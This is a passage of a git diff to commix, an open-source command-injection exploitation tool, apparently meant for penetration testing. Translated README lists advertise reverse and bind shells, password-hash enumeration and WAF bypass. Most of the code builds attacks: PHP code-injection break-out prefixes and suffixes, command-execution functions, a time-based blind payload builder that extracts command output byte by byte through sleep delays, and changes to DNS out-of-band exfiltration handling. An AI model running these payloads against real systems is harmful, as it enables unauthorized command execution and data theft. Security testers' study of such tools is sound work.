time-based, file-based (avec une variante tempfile-based pour les cibles à écriture restreinte) et out-of-band (OAST) via HTTP/S et DNS. +* **Quatre techniques d'injection** - classic (basée sur les résultats), time-based (à l'aveugle), file-based (semi-aveugle, avec une variante tempfile-based pour les cibles à écriture restreinte) et out-of-band (OAST) via HTTP/S et DNS. +* **Injection de code** - `--eval` teste la chaîne que la cible évalue comme du code, avec les quatre mêmes techniques. * **Large surface d'injection** - paramètres GET/POST, en-têtes HTTP, cookies et corps de requête JSON/XML, ainsi que le module `shellshock` pour les cibles CGI. * **Shells interactifs** - un `os_shell` sur la cible, les modes intégrés `reverse_tcp` et `bind_tcp`, et le transfert de fichiers (`download`/`upload`) via le shell établi. * **Énumération et accès aux fichiers** - utilisateur courant, nom d'hôte, privilèges, informations système, utilisateurs et empreintes de mots de passe ; lecture et écriture de fichiers sur la cible. * **Contournement des filtres et des WAF** - Plusieurs scripts de falsification (tamper) combinables, appliqués dans un ordre déterministe. * **Ciblage flexible** - une URL unique, une exploration du site, des formulaires HTML, un sitemap, un journal de proxy, un fichier de cibles multiples, un fichier de requête HTTP brute ou une entrée `stdin`. * **Analyses reprenables** - les résultats sont stockés par cible dans un fichier de session et peuvent être exportés en JSON. -* **Large prise en charge des back-ends** - PHP, Python, Perl, Ruby et CGI, avec une prise en charge expérimentale d'ASP.NET et JSP. +* **Large prise en charge des back-ends** - PHP, Python, Perl, Ruby, ASP.NET, JSP et CGI. ## Installation diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md index f35562b439..275cf5c698 100644 --- a/doc/translations/README-gr-GR.md +++ b/doc/translations/README-gr-GR.md @@ -34,14 +34,15 @@ To **commix** (συντομογραφία [**comm**]and [**i**]njection e[**x**] ## Χαρακτηριστικά -* **Πέντε τεχνικές εισαγωγής** - classic, dynamic code evaluation, time-based, file-based (με παραλλαγή tempfile-based για στόχους με περιορισμένη εγγραφή) και out-of-band (OAST) μέσω HTTP/S και DNS. +* **Τέσσερις τεχνικές εισαγωγής** - classic (βάσει αποτελεσμάτων), time-based (τυφλή), file-based (ημιτυφλή, με παραλλαγή tempfile-based για στόχους με περιορισμένη εγγραφή) και out-of-band (OAST) μέσω HTTP/S και DNS. +* **Εισαγωγή κώδικα** - ο διακόπτης `--eval` ελέγχει τη συμβολοσειρά που ο στόχος αποτιμά ως κώδικα, με τις ίδιες τέσσερις τεχνικές. * **Ευρεία επιφάνεια εισαγωγής** - παράμετροι GET/POST, κεφαλίδες HTTP, cookies και σώματα αιτημάτων JSON/XML, καθώς και η μονάδα `shellshock` για στόχους CGI. * **Διαδραστικά κελύφη** - `os_shell` στον στόχο, ενσωματωμένες λειτουργίες `reverse_tcp` και `bind_tcp`, και μεταφορά αρχείων (`download`/`upload`) μέσα από το κέλυφος. * **Απαρίθμηση και πρόσβαση σε αρχεία** - τρέχων χρήστης, όνομα υπολογιστή, δικαιώματα, πληροφορίες συστήματος, χρήστες και κατακερματισμοί κωδικών· ανάγνωση και εγγραφή αρχείων στον στόχο. * **Παράκαμψη φίλτρων και WAF** - Πολλαπλά συνδυάσιμα scripts παραποίησης (tamper), με ντετερμινιστική σειρά εφαρμογής. * **Ευέλικτη στόχευση** - μεμονωμένο URL, ανίχνευση ιστότοπου (crawl), φόρμες HTML, sitemap, αρχείο καταγραφής proxy, αρχείο πολλαπλών στόχων, αρχείο ακατέργαστου αιτήματος HTTP ή είσοδος από `stdin`. * **Σαρώσεις με δυνατότητα συνέχισης** - τα αποτελέσματα αποθηκεύονται ανά στόχο σε αρχείο συνεδρίας και μπορούν να εξαχθούν σε JSON. -* **Ευρεία υποστήριξη back-end** - PHP, Python, Perl, Ruby και CGI, με πειραματική υποστήριξη για ASP.NET και JSP. +* **Ευρεία υποστήριξη back-end** - PHP, Python, Perl, Ruby, ASP.NET, JSP και CGI. ## Εγκατάσταση diff --git a/doc/translations/README-idn-IDN.md b/doc/translations/README-idn-IDN.md index e1571df531..34e10fbbd8 100644 --- a/doc/translations/README-idn-IDN.md +++ b/doc/translations/README-idn-IDN.md @@ -34,14 +34,15 @@ Anda dapat mengunjungi [koleksi dari tangkapan layar](https://github.com/commixp ## Fitur -* **Lima teknik injeksi** - classic, dynamic code evaluation, time-based, file-based (dengan varian tempfile-based untuk target yang terbatas hak tulisnya) dan out-of-band (OAST) melalui HTTP/S dan DNS. +* **Empat teknik injeksi** - classic (berbasis hasil), time-based (buta), file-based (setengah buta, dengan varian tempfile-based untuk target yang terbatas hak tulisnya) dan out-of-band (OAST) melalui HTTP/S dan DNS. +* **Injeksi kode** - `--eval` menguji string yang dievaluasi target sebagai kode, dengan empat teknik yang sama. * **Permukaan injeksi yang luas** - parameter GET/POST, header HTTP, cookie, dan body permintaan JSON/XML, serta modul `shellshock` untuk target CGI. * **Shell interaktif** - `os_shell` pada target, mode bawaan `reverse_tcp` dan `bind_tcp`, serta transfer berkas (`download`/`upload`) melalui shell yang telah terbentuk. * **Enumerasi dan akses berkas** - pengguna saat ini, nama host, hak akses, informasi sistem, daftar pengguna dan hash kata sandi; membaca dan menulis berkas pada target. * **Pengelakan filter dan WAF** - Beberapa skrip tamper yang dapat dikombinasikan, diterapkan dalam urutan yang deterministik. * **Penentuan target yang fleksibel** - satu URL, penelusuran situs, formulir HTML, sitemap, log proxy, berkas berisi banyak target, berkas permintaan HTTP mentah, atau masukan `stdin`. * **Pemindaian yang dapat dilanjutkan** - hasil disimpan per target dalam berkas sesi dan dapat diekspor ke JSON. -* **Dukungan back-end yang luas** - PHP, Python, Perl, Ruby dan CGI, dengan dukungan eksperimental untuk ASP.NET dan JSP. +* **Dukungan back-end yang luas** - PHP, Python, Perl, Ruby, ASP.NET, JSP dan CGI. ## Instalasi diff --git a/doc/translations/README-tr-TR.md b/doc/translations/README-tr-TR.md index 9854930067..d1f4f1f329 100644 --- a/doc/translations/README-tr-TR.md +++ b/doc/translations/README-tr-TR.md @@ -34,14 +34,15 @@ Wiki'deki bazı özellikleri gösteren [ekran görüntüleri koleksiyonunu](http ## Özellikler -* **Beş enjeksiyon tekniği** - classic, dynamic code evaluation, time-based, file-based (yazma kısıtlı hedefler için tempfile-based varyantıyla birlikte) ve HTTP/S ile DNS üzerinden out-of-band (OAST). +* **Dört enjeksiyon tekniği** - classic (sonuç tabanlı), time-based (kör), file-based (yarı kör, yazma kısıtlı hedefler için tempfile-based varyantıyla birlikte) ve HTTP/S ile DNS üzerinden out-of-band (OAST). +* **Kod enjeksiyonu** - `--eval`, hedefin kod olarak değerlendirdiği dizgeyi aynı dört teknikle sınar. * **Geniş enjeksiyon yüzeyi** - GET/POST parametreleri, HTTP başlıkları, çerezler ve JSON/XML istek gövdeleri; ayrıca CGI hedefleri için `shellshock` modülü. * **Etkileşimli kabuklar** - hedef üzerinde `os_shell`, yerleşik `reverse_tcp` ve `bind_tcp` modları ve kurulan kabuk üzerinden dosya aktarımı (`download`/`upload`). * **Numaralandırma ve dosya erişimi** - geçerli kullanıcı, makine adı, yetkiler, sistem bilgileri, kullanıcılar ve parola özetleri; hedefte dosya okuma ve yazma. * **Filtre ve WAF atlatma** - birlikte kullanılabilen çok sayıda tamper betiği, belirlenimci bir sırayla uygulanır. * **Esnek hedefleme** - tek bir URL, site taraması, HTML formları, sitemap, proxy günlüğü, çoklu hedef dosyası, ham HTTP istek dosyası veya `stdin` girdisi. * **Kaldığı yerden devam eden taramalar** - sonuçlar hedef bazında bir oturum dosyasında saklanır ve JSON olarak dışa aktarılabilir. -* **Geniş arka uç desteği** - PHP, Python, Perl, Ruby ve CGI; ASP.NET ve JSP için deneysel destek. +* **Geniş arka uç desteği** - PHP, Python, Perl, Ruby, ASP.NET, JSP ve CGI. ## Kurulum diff --git a/src/core/eval/php.py b/src/core/eval/php.py index d27003ff74..afdeb90451 100644 --- a/src/core/eval/php.py +++ b/src/core/eval/php.py @@ -15,6 +15,9 @@ NAME = "php" +# The same name as it is written out to the user, where the switch's own spelling would read wrong. +LABEL = "PHP" + # A call whose output says at once that code was evaluated, and which version evaluated it. PROBE = "phpinfo()" @@ -42,23 +45,31 @@ PROBE_REGEX = r"PHP Version </td><td class=\"v\">(([\w\.]+))" WARNINGS = ["eval()'d code", "runtime-created function", "usort()", "assert()", "preg_replace()"] -# The language's own functions that run a command, widest first as the level rises. +# The language's own functions that run a command, widest first as the level rises. Each is wrapped +# as '${name(' and used as a prefix, so only the ones taking the command as their one argument fit. EXECUTION_FUNCTIONS_LVL1 = ["exec"] EXECUTION_FUNCTIONS_LVL2 = EXECUTION_FUNCTIONS_LVL1 + ["system", "shell_exec"] -EXECUTION_FUNCTIONS_LVL3 = EXECUTION_FUNCTIONS_LVL2 + ["passthru", "proc_open", "popen"] +# 'assert' evaluates its argument as code where the version still allows it, and 'expect_popen' +# comes with the expect extension - both take a single string, as the wrapping above requires. +EXECUTION_FUNCTIONS_LVL3 = EXECUTION_FUNCTIONS_LVL2 + ["passthru", "proc_open", "popen", + "assert", "expect_popen"] # Breaking out of the evaluated string, and closing it again behind the payload. SEPARATORS_LVL1 = [""] SEPARATORS_LVL2 = SEPARATORS_LVL1 + ["%0a"] SEPARATORS_LVL3 = SEPARATORS_LVL2 + ["%0d%0a"] +# Concatenation, concatenation out of a single-quoted string, and variable-variable interpolation. PREFIXES_LVL1 = [".", "'.", "{${"] -PREFIXES_LVL2 = PREFIXES_LVL1 + [")'}", "');}"] -PREFIXES_LVL3 = PREFIXES_LVL2 + ["\".", "')", "\")", ");}", "\");}", ")", ";", "'", ""] +# Closing a call the value sits inside, and interpolation from within a double-quoted string. +PREFIXES_LVL2 = PREFIXES_LVL1 + [")'}", "');}", "\".", "${"] +# Ending the statement outright, and leaving a comment the value was written into. +PREFIXES_LVL3 = PREFIXES_LVL2 + ["')", "\")", ");}", "\");}", ")", ";", "'", "\";", "';", "*/", ""] SUFFIXES_LVL1 = [ "", ".'", "}}"] -SUFFIXES_LVL2 = SUFFIXES_LVL1 + ["'#"] -SUFFIXES_LVL3 = SUFFIXES_LVL2 + [".\"", "\\\\", "//", ")}", "#"] +# Closing the interpolation, and commenting out whatever the application appends behind it. +SUFFIXES_LVL2 = SUFFIXES_LVL1 + ["'#", "}", "}\""] +SUFFIXES_LVL3 = SUFFIXES_LVL2 + [".\"", "\\\\", "//", ")}", "#", "%3B//", "%3B#", "/*"] """ Wrap the shell commands a payload runs in this language's print statement. @@ -71,4 +82,48 @@ def print_statement(separator, commands, chain=None): return "print(" + ".".join("`" + command + "`" for command in commands) + ")" return "print(`" + (chain or separator).join(commands) + "`)%3B" +""" +The expressions every payload is built out of, spelled the way this language spells them. + +What a technique asks of a sink is the same whichever language is evaluating: run this, tell me how +long the answer is, tell me its Nth byte, wait this long if the answer is yes. Only the spelling +differs - so the techniques ask through the names below, and a language is added by writing them +again rather than by touching a payload. +""" + +# Run a command and yield its output. +def run(cmd): + return "`" + cmd + "`" + +# Read a file and yield its contents. +def read_file(path): + return run("cat " + path) + +# Drop trailing whitespace, so a length agrees with what a shell's own substitution would report. +def trim(expr): + return "rtrim(" + expr + ")" + +# How many bytes an expression is. +def length(expr): + return "strlen(" + expr + ")" + +# The ordinal of an expression's Nth byte, counting from zero. +def ordinal(expr, index): + return "ord(substr(" + expr + "," + str(index) + ",1))" + +# An expression's value read as a number, for a command whose output is one. +def to_number(expr): + return "intval(" + expr + ")" + +# Wait for as long as the condition is true, and no time at all when it is false. +def delay(timesec, condition): + return "sleep(" + str(timesec) + "*(" + condition + "))" + +# Evaluate one expression and then another, within a single expression. +def sequence(first, second): + return first + "." + second + +# What ends a statement, where the boundary being tested can carry one. +TERMINATOR = "%3B" + # eof diff --git a/src/core/injections/blind/techniques/eval/__init__.py b/src/core/injections/blind/techniques/eval/__init__.py new file mode 100644 index 0000000000..de196a7f70 --- /dev/null +++ b/src/core/injections/blind/techniques/eval/__init__.py @@ -0,0 +1,16 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass \ No newline at end of file diff --git a/src/core/injections/blind/techniques/eval/eb_payloads.py b/src/core/injections/blind/techniques/eval/eb_payloads.py new file mode 100644 index 0000000000..b39d8bc572 --- /dev/null +++ b/src/core/injections/blind/techniques/eval/eb_payloads.py @@ -0,0 +1,120 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.utils import settings + +""" +The "time-based" injection technique on Blind Code Injection. +The available "time-based" payloads. + +Nothing here spells out a language: the expressions come from the grammar of whichever one is being +evaluated, so the same payloads serve any of them. One payload also serves either operating system, +since the shell underneath is only ever asked to run the command. +""" + +# The command's output, with trailing newlines dropped the way a shell's own substitution drops +# them - the length reported here has to be the length every other technique reports. +def _output(cmd): + return settings.EVAL_GRAMMAR.trim(settings.EVAL_GRAMMAR.run(cmd)) + +# A statement terminator, where the boundary being tested can carry one. +def _end(separator): + return settings.EVAL_GRAMMAR.TERMINATOR if separator else "" + +# Delay only while the condition holds: a boolean times the delay is the delay or nothing at all. +def _conditional_sleep(condition, timesec, separator): + # Whole seconds: the delay is counted in them, and a fractional one only reads as noise. + return settings.EVAL_GRAMMAR.delay(int(timesec), condition) + _end(separator) + +# The shell's comparison operators, as the languages being evaluated spell them. +COMPARISON = {"-le": "<=", "-ge": ">=", "-lt": "<", "-gt": ">", "-eq": "==", "-ne": "!="} + +""" +Time-based decision payload (check if host is vulnerable). +""" +def decision(separator, TAG, output_length, timesec, http_request_method): + condition = str(output_length) + "==" + settings.EVAL_GRAMMAR.length(_output("echo " + TAG)) + return _conditional_sleep(condition, timesec, separator) + +""" +__Warning__: The alternative shells are still experimental. +""" +def decision_alter_interpreter(separator, TAG, output_length, timesec, http_request_method): + return decision(separator, TAG, output_length, timesec, http_request_method) + +""" +Delay while a condition of the caller's own holds. +""" +def condition_check(separator, condition, timesec, http_request_method): + # Stated in the shell's spelling, as every other technique states it, so it is rewritten first. + for shell_operator, operator in COMPARISON.items(): + condition = condition.replace(settings.SINGLE_WHITESPACE + shell_operator + settings.SINGLE_WHITESPACE, operator) + return _conditional_sleep(condition, timesec, separator) + +""" +Get the execution output length, of shell execution. +""" +def get_length(separator, cmd, candidate_length, timesec, http_request_method): + settings.USER_APPLIED_CMD = cmd + condition = str(candidate_length) + "<=" + settings.EVAL_GRAMMAR.length(_output(cmd)) + return _conditional_sleep(condition, timesec, separator) + +""" +__Warning__: The alternative shells are still experimental. +""" +def get_length_alter_interpreter(separator, cmd, candidate_length, timesec, http_request_method): + return get_length(separator, cmd, candidate_length, timesec, http_request_method) + +""" +Get the execution output, of shell execution. +""" +def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method, operator="-le"): + # The guess stays left of the operator, as it does elsewhere: the search reads the answer as "the + # byte is at or above this", and an operand order of its own would send it into the wrong half. + ordinal = settings.EVAL_GRAMMAR.ordinal(_output(cmd), num_of_chars - 1) + return _conditional_sleep(str(ascii_char) + COMPARISON.get(operator, "<=") + ordinal, timesec, separator) + +""" +__Warning__: The alternative shells are still experimental. +""" +def get_char_alter_interpreter(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method, operator="-le"): + return get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method, operator) + +""" +Execute shell commands on vulnerable host. +""" +def cmd_execution(separator, cmd, output_length, timesec, http_request_method): + settings.USER_APPLIED_CMD = cmd + condition = str(output_length) + "<=" + settings.EVAL_GRAMMAR.length(_output(cmd)) + return _conditional_sleep(condition, timesec, separator) + +""" +__Warning__: The alternative shells are still experimental. +""" +def cmd_execution_alter_interpreter(separator, cmd, output_length, timesec, http_request_method): + return cmd_execution(separator, cmd, output_length, timesec, http_request_method) + +""" +Check for false positive result. + +The command asked for here computes a small sum, and the caller looks for that sum among the values +it could have produced - so what is compared is the output read as a number, not the ordinal of a +byte of it. Asked the other way, the digit '5' answers 53 and no candidate ever matches. +""" +def fp_result_alter_interpreter(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): + condition = str(ascii_char) + "==" + settings.EVAL_GRAMMAR.to_number(_output(cmd)) + return _conditional_sleep(condition, timesec, separator) + +# eof diff --git a/src/core/injections/blind/techniques/oob/oob_injector.py b/src/core/injections/blind/techniques/oob/oob_injector.py index c724287dcd..3b963029f9 100644 --- a/src/core/injections/blind/techniques/oob/oob_injector.py +++ b/src/core/injections/blind/techniques/oob/oob_injector.py @@ -70,8 +70,16 @@ def _dns_output(channel, token): # A lookup travels through the target's own resolver before it reaches the server, so the # chunks arrive later than a probe's single interaction does - and every one of them is needed. deadline = time.time() + settings.OOB_TIMEOUT * 2 + """ + Only a chain that a statement separator lets carry a loop can count its own chunks and say so in + every label. The chain built for the other separators numbers them without a total, so quiet time + stands in for one: once a poll brings nothing new, what arrived is what there is. Waiting on a + total that is never coming spent the whole timeout on every retrieval, however early it finished. + """ + quiet_polls = 0 channel.poll_now() while True: + seen_before = len(chunks) for interaction in channel.seen(token, protocol="dns"): labels = channel.data_of(interaction) if len(labels) < 2: @@ -84,12 +92,20 @@ def _dns_output(channel, token): chunks[int(index)] = "".join(labels[1:]) if total is not None and len(chunks) >= total: break + if total is None and chunks: + quiet_polls = quiet_polls + 1 if len(chunks) == seen_before else 0 + if quiet_polls >= 2: + break if time.time() >= deadline: if total is not None and len(chunks) < total: settings.INCOMPLETE_OUTPUT = True break channel.poll_now() time.sleep(2) + # Numbered from one and unbroken, or some of what was sent never arrived. This is the only thing + # that can say so where no total came with the labels. + if chunks and sorted(chunks) != list(range(1, len(chunks) + 1)): + settings.INCOMPLETE_OUTPUT = True # The command's trailing newline came through the labels, dropped here as the HTTP branch does. return payloads.decode_dns_output(chunks).rstrip("\r\n") diff --git a/src/core/injections/blind/techniques/oob/oob_payloads.py b/src/core/injections/blind/techniques/oob/oob_payloads.py index 406ba0b43e..f82575a41f 100644 --- a/src/core/injections/blind/techniques/oob/oob_payloads.py +++ b/src/core/injections/blind/techniques/oob/oob_payloads.py @@ -143,12 +143,7 @@ def exfiltrate_eval(separator, transport, hostname, cmd): The prefixes an evaluation sink is reached through, execution functions included. """ def eval_prefixes(): - prefixes = list(settings.EVAL_PREFIXES) - for function in settings.EXECUTION_FUNCTIONS: - candidate = function if function.startswith("${") else "${" + function + "(" - if candidate not in prefixes: - prefixes.append(candidate) - return prefixes + return checks.eval_prefixes() """ Report whether a stored payload targets an evaluation sink. diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index dbadbfae66..76fc98866b 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -117,8 +117,7 @@ def decision(separator, TAG, output_length, timesec, http_request_method): else: pass - if settings.CUSTOM_INJECTION_MARKER: - payload = checks.append_custom_marker(payload, separator) + payload = checks.append_custom_marker(payload, separator) return payload @@ -168,8 +167,7 @@ def decision_alter_interpreter(separator, TAG, output_length, timesec, http_requ else: pass - if settings.CUSTOM_INJECTION_MARKER: - payload = checks.append_custom_marker(payload, separator) + payload = checks.append_custom_marker(payload, separator) payload = checks.sanitize_payload_newlines(payload) @@ -207,8 +205,7 @@ def condition_check(separator, condition, timesec, http_request_method): else: return None - if settings.CUSTOM_INJECTION_MARKER: - payload = checks.append_custom_marker(payload, separator) + payload = checks.append_custom_marker(payload, separator) return checks.sanitize_payload_newlines(payload) @@ -268,8 +265,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): else: pass - if settings.CUSTOM_INJECTION_MARKER: - payload = checks.append_custom_marker(payload, separator) + payload = checks.append_custom_marker(payload, separator) return payload @@ -319,8 +315,7 @@ def cmd_execution_alter_interpreter(separator, cmd, output_length, timesec, http else: pass - if settings.CUSTOM_INJECTION_MARKER: - payload = checks.append_custom_marker(payload, separator) + payload = checks.append_custom_marker(payload, separator) return checks.sanitize_payload_newlines(payload) @@ -369,8 +364,7 @@ def get_length(separator, cmd, candidate_length, timesec, http_request_method): else: pass - if settings.CUSTOM_INJECTION_MARKER: - payload = checks.append_custom_marker(payload, separator) + payload = checks.append_custom_marker(payload, separator) return payload @@ -413,8 +407,7 @@ def get_length_alter_interpreter(separator, cmd, candidate_length, timesec, http else: pass - if settings.CUSTOM_INJECTION_MARKER: - payload = checks.append_custom_marker(payload, separator) + payload = checks.append_custom_marker(payload, separator) return checks.sanitize_payload_newlines(payload) @@ -481,8 +474,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met else: pass - if settings.CUSTOM_INJECTION_MARKER: - payload = checks.append_custom_marker(payload, separator) + payload = checks.append_custom_marker(payload, separator) return payload @@ -534,8 +526,7 @@ def get_char_alter_interpreter(separator, cmd, num_of_chars, ascii_char, timesec else: pass - if settings.CUSTOM_INJECTION_MARKER: - payload = checks.append_custom_marker(payload, separator) + payload = checks.append_custom_marker(payload, separator) payload = checks.sanitize_payload_newlines(payload) @@ -583,8 +574,7 @@ def fp_result_alter_interpreter(separator, cmd, num_of_chars, ascii_char, timese else: pass - if settings.CUSTOM_INJECTION_MARKER: - payload = checks.append_custom_marker(payload, separator) + payload = checks.append_custom_marker(payload, separator) return checks.sanitize_payload_newlines(payload) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 09b8e6b3d9..1d7ca2aec0 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -406,6 +406,63 @@ def technique_names(letters, qualified=False): def untested_techniques(): return technique_names([_ for _ in ("c", "t", "f") if _ not in menu.options.tech]) +""" +The payload builder the time-based technique uses: the same technique reaches either sink, and what +differs is only what the payload is written in - shell for a command, the language for an evaluation. +""" +def time_based_payloads(): + if menu.options.eval_sink: + from src.core.injections.blind.techniques.eval import eb_payloads as payloads + else: + from src.core.injections.blind.techniques.time_based import tb_payloads as payloads + return payloads + +""" +The payload builder the file-based technique uses, chosen the same way: the file it writes and reads +back is the technique's, and the sink only decides how the command that fills it is reached. +""" +def file_based_payloads(): + if menu.options.eval_sink: + from src.core.injections.semiblind.techniques.eval import fb_payloads as payloads + else: + from src.core.injections.semiblind.techniques.file_based import fb_payloads as payloads + return payloads + +""" +The payload builder the tempfile-based technique uses, chosen the same way: the file it writes and +then reads back a byte at a time is the technique's, and the sink only decides how the command that +fills it is reached, and in whose language the reading is asked for. +""" +def tempfile_based_payloads(): + if menu.options.eval_sink: + from src.core.injections.semiblind.techniques.eval import tfb_payloads as payloads + else: + from src.core.injections.semiblind.techniques.tempfile_based import tfb_payloads as payloads + return payloads + +""" +The prefixes an evaluation sink is reached through, the language's own execution functions included. + +Built fresh every time rather than by rewriting the lists: this is asked for once per parameter, and +wrapping in place would wrap what the last parameter already wrapped. +""" +def eval_prefixes(): + prefixes = list(settings.EVAL_PREFIXES) + for function in settings.EXECUTION_FUNCTIONS: + candidate = function if function.startswith("${") else "${" + function + "(" + if candidate not in prefixes: + prefixes.append(candidate) + return prefixes + +""" +The boundaries a payload is wrapped in: what breaks into a shell command is not what breaks into a +string the target evaluates, so the sink chooses them rather than the technique. +""" +def sink_boundaries(): + if menu.options.eval_sink: + return settings.EVAL_PREFIXES, settings.EVAL_SUFFIXES, settings.EVAL_SEPARATORS + return settings.PREFIXES, settings.SUFFIXES, settings.SEPARATORS + """ Whether a technique is one this run is testing. Two separate choices sit behind it: which sink is being tested, chosen with '--eval', and by which technique, chosen with '--technique'. A technique @@ -919,6 +976,10 @@ def captcha_check(page): Checking the reliability of the used payload message. """ def check_for_false_positive_result(false_positive_warning): + # The search that was counting itself off in dots has just found what it was looking for, so its + # line is finished - said so, rather than left hanging while the next line reports the finding. + if settings.PROGRESS_LINE_OPEN: + settings.print_data_to_stdout(" (done)") info_msg = "Identified a potential injection point on " info_msg += settings.CHECKING_PARAMETER + "." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) @@ -1600,9 +1661,17 @@ def ask_redo_stored_session(verb, redo_action): message = "Do you want to ignore stored session and " + verb + " again? [y/N] " again = common.read_input(message, default="N", check_batch=True) if again in settings.CHOICE_YES: - if not menu.options.ignore_session: - menu.options.ignore_session = True - redo_action() + """ + Ignored for this one action, then put back. The answer was about redoing what was just asked + about, not about the rest of the run - left set, every stored result after it is re-fetched + from the target, including the ones a later prompt of its own would have offered to keep. + """ + stored_choice = menu.options.ignore_session + menu.options.ignore_session = True + try: + redo_action() + finally: + menu.options.ignore_session = stored_choice return elif again in settings.CHOICE_NO: return @@ -1653,16 +1722,24 @@ def usable_stored_cmd(stored_value): Drop high-latency spikes from a response-time sample via a median/MAD cutoff. """ def strip_time_outliers(values): - if not values or len(values) < settings.MIN_TIME_RESPONSES // 2: + if not values or len(values) < settings.MIN_OUTLIER_SAMPLE: return values ordered = sorted(values) median = ordered[len(ordered) // 2] mad = sorted(abs(value - median) for value in values)[len(values) // 2] - if mad <= 0: + if mad > 0: + cutoff = median + settings.TIME_OUTLIER_MAD_COEFF * 1.4826 * mad + elif median > 0: + # A deviation of zero is what a steady target looks like, not a reason to keep a spike: with + # most samples identical the median is the target's own speed, and a multiple of it is the + # cutoff. This is the shape a small probe model usually has. + cutoff = median * (1 + settings.TIME_OUTLIER_MAD_COEFF) + else: return values - cutoff = median + settings.TIME_OUTLIER_MAD_COEFF * 1.4826 * mad result = [value for value in values if value <= cutoff] - return result if len(result) >= max(settings.MIN_TIME_RESPONSES // 2, len(values) // 2) else values + # Half the sample has to survive, and at least the two a deviation can be taken from. Holding out + # for the full minimum instead would mean a sample of exactly that size could never lose anything. + return result if len(result) >= max(2, len(values) // 2) else values """ Feed a genuinely non-delayed response time into the rolling baseline model. @@ -1681,13 +1758,21 @@ def record_baseline_response_time(exec_time): settings.RESPONSE_TIMES[:] = settings.RESPONSE_TIMES[-(settings.MAX_TIME_RESPONSES // 2):] """ -Blocking warm-up: fills the response-time model to MIN_TIME_RESPONSES before the first real timing comparison, instead of running that decision on a thin or empty model. +Blocking warm-up: fills the response-time model to MIN_TIME_RESPONSES before the first real timing +comparison, instead of running that decision on a thin or empty model. + +Says whether it announced itself, so a caller that goes on to fill a second model can carry on +under the one line rather than printing the same warning over the top of it. Such a caller passes +'close' as False and closes the line itself once its own dots are done. """ -def warm_up_response_baseline(url, http_request_method): +def warm_up_response_baseline(url, http_request_method, close=True): if len(settings.RESPONSE_TIMES) >= settings.MIN_TIME_RESPONSES: - return + return False warn_msg = "Time-related response comparison requires a larger statistical model" warn_msg += "." if settings.VERBOSITY_LEVEL != 0 else ", please wait..." + # The open line says what is being tested, so it is closed rather than written over - and this + # one is left open in its turn, for the dots below to be counted off on it. + settings.close_progress_line() settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_warning_msg(warn_msg)) # A target that has stopped answering returns nothing to record, and the model would never fill: # every sample is given a turn, and the ones that failed are not asked for again forever. @@ -1700,7 +1785,7 @@ def warm_up_response_baseline(url, http_request_method): record_baseline_response_time(sample) if settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(".") - if settings.VERBOSITY_LEVEL == 0: + if close and settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(" (done)") if len(settings.RESPONSE_TIMES) < settings.MIN_TIME_RESPONSES: warn_msg = "The target answered " + str(len(settings.RESPONSE_TIMES)) + " of the " @@ -1709,6 +1794,7 @@ def warm_up_response_baseline(url, http_request_method): settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) settings.close_progress_line() check_lagging() + return True """ Warns once (whichever call site reaches it first) if the connection is already too jittery to trust automatically, and disables timesec auto-shrinking for the rest of the run. Returns True if lagging is (or was already found to be) detected. @@ -1733,9 +1819,14 @@ def _delay_threshold_from(times): if len(sample) < 2: return None deviation = statistics.pstdev(sample) - if not deviation: - return None mean = statistics.mean(sample) + """ + A sample that does not vary is a steady target, not an unusable one. Answering "no threshold" + there hands the decision to the model of plain requests, which are cheaper than these probes - + so an ordinary probe reads as delayed, and the check that proves a finding real by asking + something that cannot be true sees a delay and calls the finding a false positive. The relative + margin below covers the case on its own. + """ margin = max(settings.TIME_STDEV_COEFF * deviation, mean * settings.MIN_RELATIVE_DELAY_MARGIN) return max(settings.MIN_VALID_DELAYED_RESPONSE, mean + margin) @@ -1754,7 +1845,7 @@ def current_delay_threshold(): """ Time related shell condition. Uses the adaptive threshold once available, else a fixed one. """ -def time_related_shell(url_time_response, exec_time, timesec): +def time_related_shell(exec_time, timesec): if settings.BASELINE_TARGET: warm_up_response_baseline(*settings.BASELINE_TARGET) lower_limit = current_delay_threshold() @@ -2836,13 +2927,18 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi # Windows users enumeration. if settings.TARGET_OS == settings.OS.WINDOWS: try: - if sys_users and any(account in sys_users for account in settings.DEFAULT_WIN_USERS): + denied = any(phrase.lower() in str(sys_users).lower() for phrase in settings.WIN_ACCESS_DENIED) + if sys_users and not denied: sys_users = "".join(str(p) for p in sys_users).strip() sys_users_list = re.findall(r"(.*)", sys_users) sys_users_list = "".join(str(p) for p in sys_users_list).strip() sys_users_list = ' '.join(sys_users_list.split()) sys_users_list = sys_users_list.split() - if len(sys_users_list) != 0 : + # Output that parsed to nothing is not a list of users, and saying nothing at all about it + # reads as though the enumeration had simply found none. + if len(sys_users_list) == 0: + 